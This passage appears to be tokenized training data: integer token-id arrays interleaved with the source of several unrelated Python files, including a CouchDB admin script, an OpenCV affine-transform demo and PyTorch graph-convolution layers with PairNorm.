29889,
29907,
3289,
5454,
2287,
29892,
13,
4706,
26952,
29918,
978,
29922,
29918,
703,
6295,
1455,
13189,
8125,
4968,
13,
1678,
1723,
13,
1678,
594,
29879,
29918,
333,
353,
4733,
29889,
27890,
7373,
703,
3253,
29879,
3553,
4968,
4236,
29918,
2848,
29922,
29945,
29900,
29897,
13,
1678,
3633,
29918,
333,
353,
4733,
29889,
27890,
7373,
703,
10601,
3553,
4968,
4236,
29918,
2848,
29922,
29941,
29900,
29897,
13,
1678,
338,
29918,
8391,
353,
4733,
29889,
18146,
3073,
29898,
4381,
29922,
8824,
29897,
13,
13,
1678,
770,
20553,
29901,
13,
4706,
26952,
29918,
978,
353,
903,
703,
3253,
16535,
1159,
13,
4706,
26952,
29918,
978,
29918,
572,
3631,
353,
903,
703,
3253,
16535,
29879,
1159,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
29850,
2119,
29912,
1800,
1642,
4830,
29898,
1311,
29889,
14943,
29918,
5753,
29889,
1792,
29889,
6786,
470,
1583,
29889,
14943,
29918,
5753,
29889,
1792,
29889,
5269,
29892,
1583,
29889,
10149,
29918,
333,
29897,
13,
13,
1678,
822,
679,
29918,
1792,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
14943,
29918,
5753,
29889,
1792,
13,
13,
1678,
822,
679,
29918,
1144,
523,
29918,
1272,
29898,
1311,
29892,
515,
29918,
2230,
29892,
304,
29918,
2230,
1125,
13,
4706,
2130,
29918,
6979,
353,
1583,
29889,
14943,
29918,
5753,
29889,
17833,
29918,
1272,
29889,
657,
877,
5943,
29918,
6979,
742,
27255,
13,
4706,
285,
29890,
481,
353,
29749,
11726,
29898,
6979,
29922,
5943,
29918,
6979,
29897,
13,
4706,
736,
285,
29890,
481,
29889,
657,
29918,
7925,
29918,
1144,
523,
29898,
1311,
29889,
7925,
29918,
333,
29892,
515,
29918,
2230,
29892,
304,
29918,
2230,
29897,
13,
13,
13,
1990,
13377,
523,
1469,
29898,
9794,
29889,
3195,
1125,
13,
1678,
594,
29918,
5753,
353,
4733,
29889,
27755,
2558,
29898,
13,
4706,
383,
29890,
3253,
10601,
29892,
13,
4706,
373,
29918,
8143,
29922,
9794,
29889,
29907,
3289,
5454,
2287,
29892,
13,
4706,
26952,
29918,
978,
29922,
29918,
703,
3253,
16535,
4968,
13,
1678,
1723,
13,
1678,
848,
353,
4663,
3073,
580,
13,
1678,
3841,
29918,
2798,
353,
4733,
29889,
7798,
3073,
29898,
4381,
29922,
29941,
29900,
29897,
13,
13,
1678,
2825,
29918,
271,
353,
4733,
29889,
11384,
3073,
29898,
6921,
29918,
3707,
29918,
1202,
29922,
5574,
29897,
13,
13,
1678,
770,
20553,
29901,
13,
4706,
679,
29918,
12333,
29918,
1609,
353,
6024,
11600,
29918,
271,
2033,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
29850,
2119,
29912,
1800,
1642,
4830,
29898,
1311,
29889,
328,
29918,
5753,
29889,
14943,
29918,
5753,
29889,
1792,
29889,
6786,
470,
1583,
29889,
328,
29918,
5753,
29889,
14943,
29918,
5753,
29889,
1792,
29889,
5269,
29892,
1583,
29889,
328,
29918,
5753,
29889,
10149,
29918,
333,
29897,
13,
13,
13,
13,
2
] |
utils/admin.py | kongo2002/ogonek | 1 | 153347 | <reponame>kongo2002/ogonek
#!/usr/bin/env python
from __future__ import print_function
import hashlib
import json
import sys
import requests
HOST = 'http://localhost:5984'
DBNAME = 'ogonek'
def __pretty(obj):
print(json.dumps(obj))
def __view_results(path):
result = requests.get(path).json()
rows = result.get('rows', [])
return [x['value'] for x in rows]
def __view_result(path):
results = __view_results(path)
if results:
return results[0]
return None
def __delete_by_id(entity_id, revision):
path = '%s/%s/%s' % (HOST, DBNAME, entity_id)
headers = {'If-Match': revision}
res = requests.delete(path, headers=headers)
return res.status_code == 200
def __delete(obj):
return __delete_by_id(obj['_id'], obj['_rev'])
def _buildings_of_planet(planet):
arg = '"%s"' % planet
req = '%s/%s/_design/building/_view/by_planet?key=%s' % (HOST, DBNAME, arg)
return __view_results(req)
def _user_planets(user):
arg = '"%s"' % user
req = '%s/%s/_design/planet/_view/by_owner?key=%s' % (HOST, DBNAME, arg)
planets = __view_results(req)
for planet in planets:
planet_id = planet['_id']
planet['buildings'] = _buildings_of_planet(planet_id)
return planets
def _local_user(email):
arg = '"%s"' % email
req = '%s/%s/_design/user/_view/local?key=%s' % (HOST, DBNAME, arg)
return __view_result(req)
def _local_users():
req = '%s/%s/_design/user/_view/local' % (HOST, DBNAME)
return [x['_id'] for x in __view_results(req)]
def _hash_local_pw(pw):
salted = ':ogonek:#%s' % pw
return hashlib.sha256(salted).hexdigest().upper()
if __name__ == '__main__':
if len(sys.argv) < 2:
print('usage: %s <operation> [<arg>...]' % sys.argv[0], file=sys.stderr)
sys.exit(1)
OP = sys.argv[1]
if OP == 'planets':
if len(sys.argv) > 2:
USER = sys.argv[2]
PLANETS = _user_planets(USER)
__pretty(PLANETS)
else:
print('usage: %s planets <user>' % sys.argv[0], file=sys.stderr)
sys.exit(1)
elif OP == 'local':
if len(sys.argv) > 2:
EMAIL = sys.argv[2]
__pretty(_local_user(EMAIL))
else:
__pretty(_local_users())
elif OP == 'hash':
if len(sys.argv) > 2:
print('hashed: %s' % _hash_local_pw(sys.argv[2]))
else:
print('usage: %s hash <pw>' % sys.argv[0], file=sys.stderr)
else:
print('unknown operation "%s"' % OP)
sys.exit(2)
| [
1,
529,
276,
1112,
420,
29958,
29895,
7443,
29906,
29900,
29900,
29906,
29914,
468,
650,
29895,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
5215,
6608,
1982,
13,
5215,
4390,
13,
5215,
10876,
13,
13,
5215,
7274,
13,
13,
13,
20832,
353,
525,
1124,
597,
7640,
29901,
29945,
29929,
29947,
29946,
29915,
13,
4051,
5813,
353,
525,
468,
650,
29895,
29915,
13,
13,
13,
1753,
4770,
1457,
4349,
29898,
5415,
1125,
13,
1678,
1596,
29898,
3126,
29889,
29881,
17204,
29898,
5415,
876,
13,
13,
13,
1753,
4770,
1493,
29918,
9902,
29898,
2084,
1125,
13,
1678,
1121,
353,
7274,
29889,
657,
29898,
2084,
467,
3126,
580,
13,
1678,
4206,
353,
1121,
29889,
657,
877,
5727,
742,
518,
2314,
13,
1678,
736,
518,
29916,
1839,
1767,
2033,
363,
921,
297,
4206,
29962,
13,
13,
13,
1753,
4770,
1493,
29918,
2914,
29898,
2084,
1125,
13,
1678,
2582,
353,
4770,
1493,
29918,
9902,
29898,
2084,
29897,
13,
1678,
565,
2582,
29901,
13,
4706,
736,
2582,
29961,
29900,
29962,
13,
1678,
736,
6213,
13,
13,
13,
1753,
4770,
8143,
29918,
1609,
29918,
333,
29898,
10041,
29918,
333,
29892,
26554,
1125,
13,
1678,
2224,
353,
14210,
29879,
22584,
29879,
22584,
29879,
29915,
1273,
313,
20832,
29892,
6535,
5813,
29892,
7855,
29918,
333,
29897,
13,
1678,
9066,
353,
11117,
3644,
29899,
9652,
2396,
26554,
29913,
13,
1678,
620,
353,
7274,
29889,
8143,
29898,
2084,
29892,
9066,
29922,
13662,
29897,
13,
1678,
736,
620,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
13,
13,
1753,
4770,
8143,
29898,
5415,
1125,
13,
1678,
736,
4770,
8143,
29918,
1609,
29918,
333,
29898,
5415,
1839,
29918,
333,
7464,
5446,
1839,
29918,
13478,
11287,
13,
13,
13,
1753,
903,
4282,
886,
29918,
974,
29918,
9018,
300,
29898,
9018,
300,
1125,
13,
1678,
1852,
353,
18793,
29995,
29879,
29908,
29915,
1273,
15754,
13,
1678,
12428,
353,
14210,
29879,
22584,
29879,
19891,
13892,
29914,
25237,
19891,
1493,
29914,
1609,
29918,
9018,
300,
29973,
1989,
16328,
29879,
29915,
1273,
313,
20832,
29892,
6535,
5813,
29892,
1852,
29897,
13,
1678,
736,
4770,
1493,
29918,
9902,
29898,
7971,
29897,
13,
13,
13,
1753,
903,
1792,
29918,
9018,
1691,
29898,
1792,
1125,
13,
1678,
1852,
353,
18793,
29995,
29879,
29908,
29915,
1273,
1404,
13,
1678,
12428,
353,
14210,
29879,
22584,
29879,
19891,
13892,
29914,
9018,
300,
19891,
1493,
29914,
1609,
29918,
20348,
29973,
1989,
16328,
29879,
29915,
1273,
313,
20832,
29892,
6535,
5813,
29892,
1852,
29897,
13,
1678,
3814,
1691,
353,
4770,
1493,
29918,
9902,
29898,
7971,
29897,
13,
13,
1678,
363,
15754,
297,
3814,
1691,
29901,
13,
4706,
15754,
29918,
333,
353,
15754,
1839,
29918,
333,
2033,
13,
4706,
15754,
1839,
4282,
886,
2033,
353,
903,
4282,
886,
29918,
974,
29918,
9018,
300,
29898,
9018,
300,
29918,
333,
29897,
13,
13,
1678,
736,
3814,
1691,
13,
13,
13,
1753,
903,
2997,
29918,
1792,
29898,
5269,
1125,
13,
1678,
1852,
353,
18793,
29995,
29879,
29908,
29915,
1273,
4876,
13,
1678,
12428,
353,
14210,
29879,
22584,
29879,
19891,
13892,
29914,
1792,
19891,
1493,
29914,
2997,
29973,
1989,
16328,
29879,
29915,
1273,
313,
20832,
29892,
6535,
5813,
29892,
1852,
29897,
13,
1678,
736,
4770,
1493,
29918,
2914,
29898,
7971,
29897,
13,
13,
13,
1753,
903,
2997,
29918,
7193,
7295,
13,
1678,
12428,
353,
14210,
29879,
22584,
29879,
19891,
13892,
29914,
1792,
19891,
1493,
29914,
2997,
29915,
1273,
313,
20832,
29892,
6535,
5813,
29897,
13,
1678,
736,
518,
29916,
1839,
29918,
333,
2033,
363,
921,
297,
4770,
1493,
29918,
9902,
29898,
7971,
4638,
13,
13,
13,
1753,
903,
8568,
29918,
2997,
29918,
29886,
29893,
29898,
29886,
29893,
1125,
13,
1678,
15795,
287,
353,
525,
29901,
468,
650,
29895,
21968,
29995,
29879,
29915,
1273,
282,
29893,
13,
1678,
736,
6608,
1982,
29889,
17051,
29906,
29945,
29953,
29898,
29879,
1997,
287,
467,
20970,
7501,
342,
2141,
21064,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
565,
7431,
29898,
9675,
29889,
19218,
29897,
529,
29871,
29906,
29901,
13,
4706,
1596,
877,
21125,
29901,
1273,
29879,
529,
16453,
29958,
518,
29966,
1191,
29958,
17361,
29915,
1273,
10876,
29889,
19218,
29961,
29900,
1402,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
13,
1678,
6418,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
13,
1678,
565,
6418,
1275,
525,
9018,
1691,
2396,
13,
4706,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1405,
29871,
29906,
29901,
13,
9651,
3148,
1001,
353,
10876,
29889,
19218,
29961,
29906,
29962,
13,
9651,
16507,
2190,
2544,
29903,
353,
903,
1792,
29918,
9018,
1691,
29898,
11889,
29897,
13,
9651,
4770,
1457,
4349,
29898,
7390,
2190,
2544,
29903,
29897,
13,
4706,
1683,
29901,
13,
9651,
1596,
877,
21125,
29901,
1273,
29879,
3814,
1691,
529,
1792,
16299,
1273,
10876,
29889,
19218,
29961,
29900,
1402,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
9651,
10876,
29889,
13322,
29898,
29896,
29897,
13,
1678,
25342,
6418,
1275,
525,
2997,
2396,
13,
4706,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1405,
29871,
29906,
29901,
13,
9651,
382,
1529,
6227,
353,
10876,
29889,
19218,
29961,
29906,
29962,
13,
9651,
4770,
1457,
4349,
7373,
2997,
29918,
1792,
29898,
26862,
6227,
876,
13,
4706,
1683,
29901,
13,
9651,
4770,
1457,
4349,
7373,
2997,
29918,
7193,
3101,
13,
1678,
25342,
6418,
1275,
525,
8568,
2396,
13,
4706,
565,
7431,
29898,
9675,
29889,
19218,
29897,
1405,
29871,
29906,
29901,
13,
9651,
1596,
877,
8568,
287,
29901,
1273,
29879,
29915,
1273,
903,
8568,
29918,
2997,
29918,
29886,
29893,
29898,
9675,
29889,
19218,
29961,
29906,
12622,
13,
4706,
1683,
29901,
13,
9651,
1596,
877,
21125,
29901,
1273,
29879,
6608,
529,
29886,
29893,
16299,
1273,
10876,
29889,
19218,
29961,
29900,
1402,
934,
29922,
9675,
29889,
303,
20405,
29897,
13,
1678,
1683,
29901,
13,
4706,
1596,
877,
26690,
5858,
11860,
29879,
29908,
29915,
1273,
6418,
29897,
13,
4706,
10876,
29889,
13322,
29898,
29906,
29897,
13,
2
] |
gitlabservice/utility/model/DeployFileModel.py | bisirkin-pv/sqlorchestrator | 1 | 124756 | <reponame>bisirkin-pv/sqlorchestrator<gh_stars>1-10
from collections import namedtuple
DeployFileHeader = namedtuple('deploy', 'group profile')
DeployFileObject = namedtuple('object', 'name type action')
DeployFileParam = namedtuple('param', 'name type base')
| [
1,
529,
276,
1112,
420,
29958,
18809,
6793,
262,
29899,
29886,
29894,
29914,
2850,
25350,
16444,
1061,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
16250,
1053,
4257,
23583,
13,
13,
8498,
2376,
2283,
7850,
353,
4257,
23583,
877,
16519,
742,
525,
2972,
8722,
1495,
13,
8498,
2376,
2283,
2061,
353,
4257,
23583,
877,
3318,
742,
525,
978,
1134,
3158,
1495,
13,
8498,
2376,
2283,
4736,
353,
4257,
23583,
877,
3207,
742,
525,
978,
1134,
2967,
1495,
13,
2
] |
4.3.3-affine_transformation.py | CleverYh/opencv_py | 2 | 195702 | <gh_stars>1-10
# coding: utf-8
import numpy as np
from cv2 import cv2
import matplotlib.pyplot as plt
img = cv2.imread(r'pictures\affine.jpg')
rows, cols, ch = img.shape
pts1 = np.float32([[50, 50], [200, 50], [50, 200]])
pts2 = np.float32([[10, 100], [200, 50], [100, 250]])
M = cv2.getAffineTransform(pts1, pts2)
dst = cv2.warpAffine(img, M, (cols, rows))
plt.subplot(121), plt.imshow(img), plt.title('Input')
plt.subplot(122), plt.imshow(dst), plt.title('Output')
plt.show()
# In affine transformation, all parallel lines in the original image will still be parallel in the output image. To find the transformation matrix, we need three points from input image and their corresponding locations in output image. Then cv2.getAffineTransform will create a 2x3 matrix which is to be passed to cv2.warpAffine. | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
5215,
12655,
408,
7442,
13,
3166,
13850,
29906,
1053,
13850,
29906,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
2492,
353,
13850,
29906,
29889,
326,
949,
29898,
29878,
29915,
29886,
10373,
29905,
3470,
457,
29889,
6173,
1495,
13,
13,
5727,
29892,
28730,
29892,
521,
353,
10153,
29889,
12181,
13,
13,
16485,
29896,
353,
7442,
29889,
7411,
29941,
29906,
4197,
29961,
29945,
29900,
29892,
29871,
29945,
29900,
1402,
518,
29906,
29900,
29900,
29892,
29871,
29945,
29900,
1402,
518,
29945,
29900,
29892,
29871,
29906,
29900,
29900,
24960,
13,
16485,
29906,
353,
7442,
29889,
7411,
29941,
29906,
4197,
29961,
29896,
29900,
29892,
29871,
29896,
29900,
29900,
1402,
518,
29906,
29900,
29900,
29892,
29871,
29945,
29900,
1402,
518,
29896,
29900,
29900,
29892,
29871,
29906,
29945,
29900,
24960,
13,
13,
29924,
353,
13850,
29906,
29889,
657,
27867,
457,
13372,
29898,
16485,
29896,
29892,
282,
1372,
29906,
29897,
13,
13,
22992,
353,
13850,
29906,
29889,
4495,
29886,
27867,
457,
29898,
2492,
29892,
341,
29892,
313,
22724,
29892,
4206,
876,
13,
13,
572,
29873,
29889,
1491,
5317,
29898,
29896,
29906,
29896,
511,
14770,
29889,
326,
4294,
29898,
2492,
511,
14770,
29889,
3257,
877,
4290,
1495,
13,
572,
29873,
29889,
1491,
5317,
29898,
29896,
29906,
29906,
511,
14770,
29889,
326,
4294,
29898,
22992,
511,
14770,
29889,
3257,
877,
6466,
1495,
13,
572,
29873,
29889,
4294,
580,
13,
13,
29937,
512,
2756,
457,
13852,
29892,
599,
8943,
3454,
297,
278,
2441,
1967,
674,
1603,
367,
8943,
297,
278,
1962,
1967,
29889,
1763,
1284,
278,
13852,
4636,
29892,
591,
817,
2211,
3291,
515,
1881,
1967,
322,
1009,
6590,
14354,
297,
1962,
1967,
29889,
1987,
13850,
29906,
29889,
657,
27867,
457,
13372,
674,
1653,
263,
29871,
29906,
29916,
29941,
4636,
607,
338,
304,
367,
4502,
304,
13850,
29906,
29889,
4495,
29886,
27867,
457,
29889,
2
] |
layers.py | xiangsheng1325/fastgae_pytorch | 8 | 37635 | import torch, math, copy
import scipy.sparse as sp
import numpy as np
from torch.nn.modules.module import Module
import torch.nn as nn
from torch.nn.parameter import Parameter
def normalize(adj, device='cpu'):
if isinstance(adj, torch.Tensor):
adj_ = adj.to(device)
elif isinstance(adj, sp.csr_matrix):
adj_ = torch.from_numpy(adj.toarray()).float().to(device)
elif isinstance(adj, np.ndarray):
adj_ = torch.from_numpy(adj).float().to(device)
else:
adj_ = adj.to(device)
adj_ = adj_ + torch.eye(adj_.shape[0]).to(device)
rowsum = adj_.sum(1)
degree_mat_inv_sqrt = torch.diag(torch.pow(rowsum, -0.5).flatten())
degree_mat_sqrt = torch.diag(torch.pow(rowsum, -0.5).flatten())
adj_normalized = torch.mm(torch.spmm(degree_mat_inv_sqrt, adj_), degree_mat_sqrt)
# return torch.from_numpy(adj_normalized).float().to(device_
return adj_normalized
def coo_to_csp(sp_coo):
num = sp_coo.shape[0]
row = sp_coo.row
col = sp_coo.col
sp_tensor = torch.sparse.FloatTensor(torch.LongTensor(np.stack([row, col])),
torch.tensor(sp_coo.data),
torch.Size([num, num]))
return sp_tensor
#def sp_diag(sp_tensor):
# sp_tensor = sp_tensor.to_dense()
# sp_array = sp_tensor.to('cpu').numpy()
# sp_diags = sp.diags(sp_array).tocoo()
# return coo_to_csp(sp_diags)
def sp_normalize(adj_def, device='cpu'):
"""
:param adj: scipy.sparse.coo_matrix
:param device: default as cpu
:return: normalized_adj:
"""
adj_ = sp.coo_matrix(adj_def)
adj_ = adj_ + sp.coo_matrix(sp.eye(adj_def.shape[0]), dtype=np.float32)
rowsum = np.array(adj_.sum(axis=1)).reshape(-1)
norm_unit = np.float_power(rowsum, -0.5).astype(np.float32)
degree_mat_inv_sqrt = sp.diags(norm_unit)
degree_mat_sqrt = copy.copy(degree_mat_inv_sqrt)
# degree_mat_sqrt = degree_mat_inv_sqrt.to_dense()
support = adj_.__matmul__(degree_mat_sqrt)
# support = coo_to_csp(support.tocoo())
# degree_mat_inv_sqrt = coo_to_csp(degree_mat_inv_sqrt.tocoo())
adj_normalized = degree_mat_inv_sqrt.__matmul__(support)
adj_normalized = coo_to_csp(adj_normalized.tocoo())
return adj_normalized, rowsum
# coo_adj = sp.coo_matrix(adj_normalized.to('cpu').numpy())
# return coo_to_csp(coo_adj).to(device), rowsum
class PairNorm(nn.Module):
def __init__(self, mode='PN', scale=1):
"""
mode:
'None' : No normalization
'PN' : Original version
'PN-SI' : Scale-Individually version
'PN-SCS' : Scale-and-Center-Simultaneously version
('SCS'-mode is not in the paper but we found it works well in practice,
especially for GCN and GAT.)
PairNorm is typically used after each graph convolution operation.
"""
assert mode in ['None', 'PN', 'PN-SI', 'PN-SCS']
super(PairNorm, self).__init__()
self.mode = mode
self.scale = scale
# Scale can be set based on origina data, and also the current feature lengths.
# We leave the experiments to future. A good pool we used for choosing scale:
# [0.1, 1, 10, 50, 100]
def forward(self, x):
if self.mode == 'None':
return x
col_mean = x.mean(dim=0)
if self.mode == 'PN':
x = x - col_mean
rownorm_mean = (1e-6 + x.pow(2).sum(dim=1).mean()).sqrt()
x = self.scale * x / rownorm_mean
if self.mode == 'PN-SI':
x = x - col_mean
rownorm_individual = (1e-6 + x.pow(2).sum(dim=1, keepdim=True)).sqrt()
x = self.scale * x / rownorm_individual
if self.mode == 'PN-SCS':
rownorm_individual = (1e-6 + x.pow(2).sum(dim=1, keepdim=True)).sqrt()
x = self.scale * x / rownorm_individual - col_mean
return x
class GraphConvolution(Module):
"""
Simple GCN layer, similar to https://arxiv.org/abs/1609.02907
"""
def __init__(self, in_features, out_features, bias=True, mode='None', act=lambda x: x):
super(GraphConvolution, self).__init__()
self.in_features = in_features
self.out_features = out_features
self.weight = Parameter(torch.FloatTensor(in_features, out_features))
self.pn = PairNorm(mode=mode)
self.act = act
if bias:
self.bias = Parameter(torch.FloatTensor(out_features))
else:
self.register_parameter('bias', None)
self.reset_parameters()
def reset_parameters(self):
stdv = 1. / math.sqrt(self.weight.size(1))
self.weight.data.uniform_(-stdv, stdv)
if self.bias is not None:
self.bias.data.uniform_(-stdv, stdv)
def forward(self, input, adj):
support = torch.mm(input, self.weight)
output = torch.mm(adj, support)
if self.bias is not None:
output = output + self.bias
return self.act(self.pn(output))
def __repr__(self):
return self.__class__.__name__ + ' (' \
+ str(self.in_features) + ' -> ' \
+ str(self.out_features) + ')'
| [
1,
1053,
4842,
305,
29892,
5844,
29892,
3509,
30004,
13,
5215,
4560,
2272,
29889,
29879,
5510,
408,
805,
30004,
13,
5215,
12655,
408,
7442,
30004,
13,
3166,
4842,
305,
29889,
15755,
29889,
7576,
29889,
5453,
1053,
15591,
30004,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
30004,
13,
3166,
4842,
305,
29889,
15755,
29889,
15501,
1053,
24953,
30004,
13,
30004,
13,
30004,
13,
1753,
4226,
675,
29898,
26859,
29892,
4742,
2433,
21970,
29374,
30004,
13,
1678,
565,
338,
8758,
29898,
26859,
29892,
4842,
305,
29889,
29911,
6073,
1125,
30004,
13,
4706,
12109,
29918,
353,
12109,
29889,
517,
29898,
10141,
8443,
13,
1678,
25342,
338,
8758,
29898,
26859,
29892,
805,
29889,
2395,
29878,
29918,
5344,
1125,
30004,
13,
4706,
12109,
29918,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
26859,
29889,
517,
2378,
16655,
7411,
2141,
517,
29898,
10141,
8443,
13,
1678,
25342,
338,
8758,
29898,
26859,
29892,
7442,
29889,
299,
2378,
1125,
30004,
13,
4706,
12109,
29918,
353,
4842,
305,
29889,
3166,
29918,
23749,
29898,
26859,
467,
7411,
2141,
517,
29898,
10141,
8443,
13,
1678,
1683,
29901,
30004,
13,
4706,
12109,
29918,
353,
12109,
29889,
517,
29898,
10141,
8443,
13,
1678,
12109,
29918,
353,
12109,
29918,
718,
4842,
305,
29889,
1032,
29872,
29898,
26859,
5396,
12181,
29961,
29900,
14664,
517,
29898,
10141,
8443,
13,
1678,
1948,
2083,
353,
12109,
5396,
2083,
29898,
29896,
8443,
13,
1678,
7426,
29918,
2922,
29918,
11569,
29918,
3676,
353,
4842,
305,
29889,
6051,
351,
29898,
7345,
305,
29889,
12248,
29898,
798,
2083,
29892,
448,
29900,
29889,
29945,
467,
1579,
8606,
3101,
30004,
13,
1678,
7426,
29918,
2922,
29918,
3676,
353,
4842,
305,
29889,
6051,
351,
29898,
7345,
305,
29889,
12248,
29898,
798,
2083,
29892,
448,
29900,
29889,
29945,
467,
1579,
8606,
3101,
30004,
13,
1678,
12109,
29918,
8945,
1891,
353,
4842,
305,
29889,
4317,
29898,
7345,
305,
29889,
1028,
4317,
29898,
12163,
929,
29918,
2922,
29918,
11569,
29918,
3676,
29892,
12109,
29918,
511,
7426,
29918,
2922,
29918,
3676,
8443,
13,
1678,
396,
736,
4842,
305,
29889,
3166,
29918,
23749,
29898,
26859,
29918,
8945,
1891,
467,
7411,
2141,
517,
29898,
10141,
29918,
30004,
13,
1678,
736,
12109,
29918,
8945,
1891,
30004,
13,
30004,
13,
30004,
13,
1753,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
1028,
29918,
1111,
29877,
1125,
30004,
13,
1678,
954,
353,
805,
29918,
1111,
29877,
29889,
12181,
29961,
29900,
29962,
30004,
13,
1678,
1948,
353,
805,
29918,
1111,
29877,
29889,
798,
30004,
13,
1678,
784,
353,
805,
29918,
1111,
29877,
29889,
1054,
30004,
13,
1678,
805,
29918,
20158,
353,
4842,
305,
29889,
29879,
5510,
29889,
11031,
29911,
6073,
29898,
7345,
305,
29889,
8208,
29911,
6073,
29898,
9302,
29889,
1429,
4197,
798,
29892,
784,
2314,
511,
30004,
13,
462,
462,
308,
4842,
305,
29889,
20158,
29898,
1028,
29918,
1111,
29877,
29889,
1272,
511,
30004,
13,
462,
462,
308,
4842,
305,
29889,
3505,
4197,
1949,
29892,
954,
12622,
30004,
13,
1678,
736,
805,
29918,
20158,
30004,
13,
30004,
13,
30004,
13,
29937,
1753,
805,
29918,
6051,
351,
29898,
1028,
29918,
20158,
1125,
30004,
13,
1678,
396,
805,
29918,
20158,
353,
805,
29918,
20158,
29889,
517,
29918,
1145,
344,
26471,
13,
29937,
1678,
805,
29918,
2378,
353,
805,
29918,
20158,
29889,
517,
877,
21970,
2824,
23749,
26471,
13,
29937,
1678,
805,
29918,
6051,
810,
353,
805,
29889,
6051,
810,
29898,
1028,
29918,
2378,
467,
517,
1111,
29877,
26471,
13,
29937,
1678,
736,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
1028,
29918,
6051,
810,
8443,
13,
30004,
13,
30004,
13,
1753,
805,
29918,
8945,
675,
29898,
26859,
29918,
1753,
29892,
4742,
2433,
21970,
29374,
30004,
13,
1678,
9995,
30004,
13,
1678,
584,
3207,
12109,
29901,
4560,
2272,
29889,
29879,
5510,
29889,
1111,
29877,
29918,
5344,
30004,
13,
1678,
584,
3207,
4742,
29901,
2322,
408,
26403,
30004,
13,
1678,
584,
2457,
29901,
4226,
1891,
29918,
26859,
29901,
30004,
13,
1678,
9995,
30004,
13,
1678,
12109,
29918,
353,
805,
29889,
1111,
29877,
29918,
5344,
29898,
26859,
29918,
1753,
8443,
13,
1678,
12109,
29918,
353,
12109,
29918,
718,
805,
29889,
1111,
29877,
29918,
5344,
29898,
1028,
29889,
1032,
29872,
29898,
26859,
29918,
1753,
29889,
12181,
29961,
29900,
11724,
26688,
29922,
9302,
29889,
7411,
29941,
29906,
8443,
13,
1678,
1948,
2083,
353,
7442,
29889,
2378,
29898,
26859,
5396,
2083,
29898,
8990,
29922,
29896,
8106,
690,
14443,
6278,
29896,
8443,
13,
1678,
6056,
29918,
5441,
353,
7442,
29889,
7411,
29918,
13519,
29898,
798,
2083,
29892,
448,
29900,
29889,
29945,
467,
579,
668,
29898,
9302,
29889,
7411,
29941,
29906,
8443,
13,
1678,
7426,
29918,
2922,
29918,
11569,
29918,
3676,
353,
805,
29889,
6051,
810,
29898,
12324,
29918,
5441,
8443,
13,
1678,
7426,
29918,
2922,
29918,
3676,
353,
3509,
29889,
8552,
29898,
12163,
929,
29918,
2922,
29918,
11569,
29918,
3676,
8443,
13,
1678,
396,
7426,
29918,
2922,
29918,
3676,
353,
7426,
29918,
2922,
29918,
11569,
29918,
3676,
29889,
517,
29918,
1145,
344,
26471,
13,
1678,
2304,
353,
12109,
5396,
1649,
2922,
16109,
12035,
12163,
929,
29918,
2922,
29918,
3676,
8443,
13,
1678,
396,
2304,
353,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
5924,
29889,
517,
1111,
29877,
3101,
30004,
13,
1678,
396,
7426,
29918,
2922,
29918,
11569,
29918,
3676,
353,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
12163,
929,
29918,
2922,
29918,
11569,
29918,
3676,
29889,
517,
1111,
29877,
3101,
30004,
13,
1678,
12109,
29918,
8945,
1891,
353,
7426,
29918,
2922,
29918,
11569,
29918,
3676,
17255,
2922,
16109,
12035,
5924,
8443,
13,
1678,
12109,
29918,
8945,
1891,
353,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
26859,
29918,
8945,
1891,
29889,
517,
1111,
29877,
3101,
30004,
13,
1678,
736,
12109,
29918,
8945,
1891,
29892,
1948,
2083,
30004,
13,
1678,
396,
1302,
29877,
29918,
26859,
353,
805,
29889,
1111,
29877,
29918,
5344,
29898,
26859,
29918,
8945,
1891,
29889,
517,
877,
21970,
2824,
23749,
3101,
30004,
13,
1678,
396,
736,
1302,
29877,
29918,
517,
29918,
29883,
1028,
29898,
1111,
29877,
29918,
26859,
467,
517,
29898,
10141,
511,
1948,
2083,
30004,
13,
30004,
13,
30004,
13,
1990,
349,
1466,
29940,
555,
29898,
15755,
29889,
7355,
1125,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4464,
2433,
15695,
742,
6287,
29922,
29896,
1125,
30004,
13,
4706,
9995,
30004,
13,
9651,
4464,
29901,
30004,
13,
795,
525,
8516,
29915,
584,
1939,
4226,
2133,
30004,
13,
795,
525,
15695,
29915,
259,
584,
8533,
1873,
30004,
13,
795,
525,
15695,
29899,
5425,
29915,
29871,
584,
2522,
744,
29899,
2568,
3640,
1474,
1873,
30004,
13,
795,
525,
15695,
29899,
7187,
29903,
29915,
584,
2522,
744,
29899,
392,
29899,
13409,
29899,
8942,
499,
1662,
5794,
1873,
30004,
13,
30004,
13,
9651,
6702,
7187,
29903,
28560,
8513,
338,
451,
297,
278,
5650,
541,
591,
1476,
372,
1736,
1532,
297,
6944,
11167,
13,
795,
7148,
363,
402,
13778,
322,
402,
1299,
1846,
30004,
13,
9651,
349,
1466,
29940,
555,
338,
12234,
1304,
1156,
1269,
3983,
26851,
5858,
22993,
13,
4706,
9995,
30004,
13,
4706,
